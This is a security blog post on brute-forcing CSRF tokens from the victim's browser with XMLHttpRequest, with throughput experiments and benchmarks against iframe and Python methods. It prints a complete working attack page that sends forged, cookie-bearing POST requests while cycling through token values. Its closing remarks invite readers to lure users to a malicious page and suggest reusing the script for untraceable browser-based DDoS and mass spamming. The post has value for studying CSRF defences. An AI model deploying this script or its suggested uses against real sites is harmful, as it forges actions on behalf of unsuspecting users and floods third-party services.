In my last post I mentioned I had been working on a client-side XHR based CSRF token brute forcer. In this post I'm going to talk in-depth about the script I've developed, how it performs compared to other techniques and the limitations I encountered.
Previously I covered the basics of CSRF and demo'ed two iframe based brute force scripts. The posts can be found here:
http://pwndizzle.blogspot.com/2012/11/back-to-basics-csrf.html
And here:
http://pwndizzle.blogspot.com/2012/11/client-side-csrf-token-brute-forcing.html
CSRF token brute forcing: IFRAME vs XHR
Having already introduced client-side CSRF token brute forcing in my previous post I'm going to jump straight into how techniques using iframes and XHR compare with each other.
Fundamentally iframes and xhr are completely different things. Iframes provide a way to embed content in a page. In the previous examples however we used them as a way to send hundreds of arbitrary requests to a third party without leaving the current page. Although iframes can do this, they were never optimised for it.
XMLHttpRequest on the other hand was created as a way to send/receive arbitrary data. The granularity offered by XHR allows greater control of the connection and greater efficiency when it comes to brute forcing.
Doesn't Same Origin Policy prevent Cross-Domain Requests?
I meant to cover this in the previous post but didn't have time. The short answer is no.
Iframes by design are allowed to load cross domain content but browser's prevent cross domain interaction between the page and the iframe. It is still possible to send a request through an iframe (for CSRF), we just can't see the response.
One of the most interesting attacks involving iframes is click-jacking, where we embed a legitimate site within a malicious page we control and trick the user into interacting with the embedded page. Wikipedia:
http://en.wikipedia.org/wiki/Clickjacking
Most large sites now implement the x-frame-options header to prevent framing of content. If a server responds with the x-frame-options header set to DENY, the browser will not render the content. Lets compare the response headers of Facebook and Amazon:
Facebook homepage, notice the X-Frame-Options header.
Amazon homepage, no X-Frame-Options header!
As you can see below the Amazon main page is open to click jacking.
Anyhow I'm getting a bit off topic, back to XHR! XHR like any other browser request is subject to the usual restrictions, by default cross domain
requests are allowed but
responses are never rendered. There are some exceptions of course such as scripts, CSS, images and CORS.
But for CSRF though, the important point is that browsers allow you to send cross domain requests. You can't see responses but in a CSRF attack you don't care about responses!
For more information on XHR its worth checking out:
Lets build a brute forcer!
Following on from my previous work I decided to write a XHR-based CSRF token brute forcer to see if I could speed up the brute force process. I had a search around on Google and couldn't find a CSRF token brute force script that used XHR, so I decided to write my own.
1. XHR Code
I started off with some basic XHR code. Shreeraj Shah covers a simple XHR CSRF example here:
http://shreeraj.blogspot.com/2011/11/csrf-with-json-leveraging-xhr-and-cors_28.html
var xhr = new XMLHttpRequest();
var url = 'http://192.168.1.124/submit.php';
xhr.open('POST',url, true);
xhr.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials='true';
var datas = 'name=a&phone=b';
xhr.send(datas);
It's pretty self explanatory, we create our XHR connection object, set basic request parameters with open, define extra headers, create the data string we want to send and send it.
Shreeraj's example includes the withCredentials method to ensure our request would use the user's cookie when sent and he also sets the content-type to plain text. The site I was testing against required me to use a content-type of "application/x-www-form-urlencoded" and didn't enforce preflight checks so I changed this parameter.
2. Iteration To Send Multiple Requests
Just like the previous brute forcers I also found setInterval and setTimeout to be the quickest way to send and control XHR. I configured setInterval to repeatedly call a function containing the XHR connection code. SetTimeout stops setInterval after a specified time period and outputs the finished message to the screen.
I used a set of global variables to maintain the current state of the attack, each new request would use the current values and increment them. I did try using a FOR loop to spam requests but I found Chrome throttled the requests to one per second.
var task = setInterval("openXHR();", 1);
setTimeout("clearInterval(task);document.getElementById('done').innerText ='Finished'", 1000);
I created some funky incrementing code to allow iteration through number or letter arrays and also to allow arbitrary positioning of variables. No doubt this can be cleaned up a bit.
3. Maximizing Throughput: A Balancing Act
I played around quite a bit with different ways to increase the throughput. This was a careful balancing act between the number of connections, the number of requests being sent to the connections and how fast connections could be established and pulled down.
The first idea I had to increase throughput was using multiple XHR objects. Browsers usually allow 6 concurrent connections to the same site so why not create 6 XHR objects to work in parralel? Multiple connections working in parallel means more requests per second right? Kinda.
I discovered Chrome would use the same connection for sending multiple requests provided you gave it enough time for each request to receive a response. If you start forcing requests down the same connection Chrome opens new connections. So it turns out you don't really need to use multiple objects, with a single XHR object Chrome automatically runs at maximum speed.
Using an interval of 50ms Chrome will use a single connection (src port)
With an interval of 10ms Chrome opens a new connection for each request
(For attacking sites locally multiple XHR objects will give you a speed increase as responses are received a lot quicker. However when you try this with a remote site the latency causes requests to start backing up and this technique no longer works.)
- Aborting connections after the request
Requests were typically taking 10ms to establish a connection, 1ms to send data and 10ms to wait for the confirmation ACK. To prevent the browser waiting for a response I tried using the abort method. My aim was to close the connection as soon as the request was sent as this would free up one of the browser's concurrent connection slots.
Typical timings for a request (see Time column)
I tested this by performing xhr.send followed by a call to a wait function, then xhr.abort. This technique worked but was not as fast as I had hoped and capped out around 40 requests per second.
Using the abort method we send a FIN after our request is sent
As you can see from the packet capture, the abort method sends a FIN to gracefully close the connection and the connection stays open waiting for a FIN ACK. Compared to our initial run its no faster. Ideally we want to close the connection as quickly as possible so would rather send an RST packet but I couldn't find a way to do this :(
Often the simplest solution is the best solution so I tried using a single XHR object and just sending requests as fast as possible using setInterval with a 1 millisecond wait. Interestingly this produced the highest throughput per second, around 60 requests per second.
Spamming requests!
The catch with this technique is that its unreliable. You will often lose packets as you are trying to send data when no connection slot is free. Using an interval of just 1 millisecond I sometimes saw losses of up to 75%. The interval can be adjusted according to how reliable you need the attack to be.
4. The Finished Product
Putting everything together here's the final code for the brute forcer:
<html>
<body>
<div id="a">Sending request: <output id="result"></output></br>
<div>NOTE: Browser requests sent != Actual requests sent (Check wireshark)</div>
<output id="done"></output></div>
<script>
//Create XHR objects
var xhr1 = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();
//Global variables
var url = 'http://192.168.1.124/submit.php';
var numbers = new Array("0","1","2","3","4","5","6","7","8","9");
var alphabet = new Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var i=0;
var j=0;
var k=0;
var l=0;
var m=0;
//Simple wait function
function tea_break(msec) {
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate - date < msec); }
//Function to send a request using current parameters
function openXHR(){
xhr1.open('POST',url, true);
xhr1.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
xhr1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr1.withCredentials='true';
var data1 = 'name=a&phone=b&email=c&csrf=' + numbers[j] + numbers[k] + numbers[l] + numbers[m];
xhr1.send(data1);
//***Optional wait and abort
//tea_break(5);
//xhr.abort();
//Screen output
document.getElementById('result').innerText = "" + j + k + l + m;
//***Optional second XHR object
//xhr2.open('POST',url, true);
//xhr2.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
//xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
//xhr2.withCredentials='true';
//var data2 = 'name=a&phone=b&email=c&csrf=' + numbers[j] + numbers[k] + numbers[l] + numbers[m];
//xhr2.send(data2);
//Will need to change limits/logic for alphabet set
if(m<9){
m++;
} else{
m=0;
}
//Tick over to 0 at end of set
if(m==0 && l==9){
l=0;
} else if(m==0){
l++;
}
if(m==0 && l==0 && k==9){
k=0;
} else if(m==0 && l==0){
k++;
}
if(m==0 && l==0 && k==0 && j==9){
j=0;
} else if(m==0 && l==0 && k==0){
j++;
}
}
//Speed at which requests are sent
var task = setInterval("openXHR();", 1);
//Stop sending after x milliseconds
setTimeout("clearInterval(task);document.getElementById('done').innerText ='Finished'", 1000);
</script>
</body>
</html>
Show me some benchmarks!
For this set of testing I relied on Wireshark to get a definitive answer of what packets were actually being sent. Chrome (and likely other browsers) show requests taking place in the developer tools but in reality only a limited number actually complete successfully.
Wired vs wireless had a big impact so I performed all tests plugged in via ethernet. Responses were typically 10ms for wired and 30ms for wireless.
I've also included revised results from my previous tests using IFrames. Results show the maximum number of requests per second.
|
|
|
|
|
|
|
|
Browser |
|
Chrome22 |
IE9 |
FF16 |
|
|
Multi-IFrame |
Local |
29 |
25 |
14 |
|
|
|
Remote |
7 |
8 |
7 |
|
|
Single IFrame |
Local |
60 |
79 |
10 |
|
|
|
Remote |
50 |
1 |
10 |
|
|
XHR |
Local |
110 |
Error |
70 |
|
|
|
Remote |
55 |
Error |
65 |
|
|
|
|
|
|
|
|
|
Non-Browser |
|
|
|
|
|
|
Python |
Remote |
300 |
|
|
|
|
BlackMamba |
Remote |
3000? |
|
|
|
|
|
|
|
|
|
|
The good news is that the XHR method is faster than the other techniques especially for local attacks. The bad news is that XHR is only marginally faster and is still too slow to crack most CSRF tokens in use today.
The same limitations I discussed in the previous post still apply, with latency and concurrent connection limits having the biggest impact on throughput. Traditional CSRF prevention techniques such as complex tokens or Referrer/Origin checking also prevent this type of CSRF attack.
I've included some numbers for a direct brute force attack using python. At BlackHat this year Dan Kaminsky mentioned BlackMamba which is a concurrent networking library for Python. Using this library he was able to scan 3000 addresses per second. Sweet!
http://www.slideshare.net/dakami/black-ops-2012
Final Thoughts
So we have a brute forcer, what now? Find a page with a weak token, build a malicious page, trick users into visiting your page and enjoy the CSRF, right? ;)
After working on the iframe based brute forcers and the XHR version I feel a little disappointed I couldn't push the requests per second into the hundreds or thousands. For most sites token entropy isn't that bad and realistically you'd need to send 1,000 to 100,000 minimum requests per second for an attack to succeed given the short time frame offered by a drive-by style attack. Unfortunately it's just not feasible to send that many requests with current technology.
Whilst the main focus of my work has been brute force CSRF, the scripts I've been demonstrating essentially provide a client-side mechanism for sending thousands of post requests. Such a mechanism could be used for all kinds of mischief, browser based DDOS and mass spamming spring to mind.
Probably the best thing about these attacks is that all requests would come from unsuspecting users who just happen to run your javascript. The only evidence of the true origin of the attack would be the referrer header of requests and if the malicious javascript was hosted on a legitimate site there would be no way to trace the true origin at all.
I hope you guys have found this interesting, any comments, questions or corrections just leave a message below. Also if anyone can suggest any alternatives to iframes or XHR please let me know! :)
Cheers,
Pwndizzle out